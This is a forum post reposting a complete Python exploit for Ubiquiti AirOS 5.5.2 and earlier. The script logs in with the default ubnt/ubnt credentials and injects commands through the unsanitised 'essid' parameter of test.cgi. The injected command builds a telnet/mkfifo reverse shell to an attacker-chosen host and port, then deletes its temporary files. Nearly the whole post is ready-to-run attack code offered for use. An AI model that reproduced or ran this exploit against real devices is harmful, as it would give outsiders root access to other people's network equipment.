Praetorian503 Posted December 29, 2012 Report Posted December 29, 2012 Ubiquiti AirOS versions 5.5.2 and below suffer from a remote post-authentication root-level command execution vulnerability.#!/usr/bin/python#+--------------------------------------------------------------------------------------------------------------------------------+# Exploit Title : Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution# Date : 12-28-2012# Author : xistence (xistence<[AT]>0x90.nl)# Software link : http://www.ubnt.com/eula/?BACK=/downloads/XM-v5.5.2.build14175.bin# Vendor site : http://www.ubnt.com/# Version : 5.5.2 and lower# Tested on : PicoStation M2 (hardware)## Vulnerability : The http://<IP>/test.cgi "essid" parameter is not sanitized for input which allows for execution of operating# system commands. The parameter input field can be like this to create a file /tmp/test.txt:# "LINKTEST & /bin/touch /tmp/test.txt #"# Authentication to the web site is necessary to exploit this vulnerability.#+--------------------------------------------------------------------------------------------------------------------------------+import urllib, urllib2, cookielib, sys, random, mimetools, mimetypes, itertools, timeprint ""print "[*] Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution - xistence (xistence<[at]>0x90.nl) - 2012-12-28"print ""if (len(sys.argv) != 4): print "[*] Usage: " + sys.argv[0] + " <rhost> <lhost> <lport>" print "" exit(0)rhost = sys.argv[1]lhost = sys.argv[2]lport = sys.argv[3]webUser = "ubnt"webPass = "ubnt"# Create a random file with 8 charactersfilename = ''for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8): filename+=ifilename +=".sh"shellCmd = '& echo "mknod /tmp/backpipe p ; telnet ' + lhost + ' ' + lport + ' 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe ; rm -rf /tmp/backpipe ; rm -rf /tmp/' + filename + '" > /tmp/' + filename + ' ; chmod +x /tmp/' + filename + ' ; /bin/sh /tmp/' + filename + ' #'class MultiPartForm(object): """Accumulate the data to be used when posting a form.""" def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): """Add a simple field to the form data.""" self.form_fields.append( ( name, value ) ) return def __str__(self): """Return a string representing the form data, including attached files.""" # Build a list of lists, each containing "lines" of the # request. Each part is separated by a boundary string. # Once the list is built, return a string where each # line is separated by '\r\n'. parts = [] part_boundary = '--' + self.boundary # Add the form fields parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) # Flatten the list and add closing boundary marker, # then return CR+LF separated data flattened = list( itertools.chain( *parts) ) flattened.append( '--' + self.boundary + '--' ) flattened.append( '' ) return '\r\n'.join( flattened )# Create the form with simple fieldsform = MultiPartForm()form.add_field( 'uri', '' )form.add_field( 'username', webUser )form.add_field( 'password', webPass )form2 = MultiPartForm()form2.add_field( 'essid', 'LINKTEST ' + shellCmd )form2.add_field( 'channel', '2412' )form2.add_field( 'rssithresh', '13' )form2.add_field( 'file_url', '' )form2.add_field( 'action', 'test' )# Our Cookie Jarcj = cookielib.CookieJar()opener = urllib2.build_opener( urllib2.HTTPCookieProcessor( cj ) )# Just open the default url to grab the cookies and put them in the jarprint "[+] Opening default page [http://%s] to store cookies" % rhostresp = opener.open( "http://%s" %rhost )# Create our multi-part body + headers login POST requestprint "[+] Logging in with user [%s] and password [%s] at host [%s]" % ( webUser, webPass, rhost )resp = urllib2.Request( "http://%s/login.cgi" % rhost )body = str( form )resp.add_header( 'Content-type', form.get_content_type() )resp.add_header( 'Content-length', len( body ) )resp.add_data( body )request = opener.open( resp ).read()# Create our multi-part body + headers command execution POST requestprint "[+] Executing reverse shell commands [file = /tmp/" + filename + "], this might take up to a minute before a response is received in your netcat shell"resp = urllib2.Request( "http://%s/test.cgi" % rhost )body = str( form2 )resp.add_header( 'Content-type', form2.get_content_type() )resp.add_header( 'Content-length', len( body ) )resp.add_data( body )request = opener.open( resp ).read()time.sleep(30)print "[+] Done, check your netcat reverse shell on ip [%s] port [%s]" % ( lhost, lport )Source: Packet Storm Quote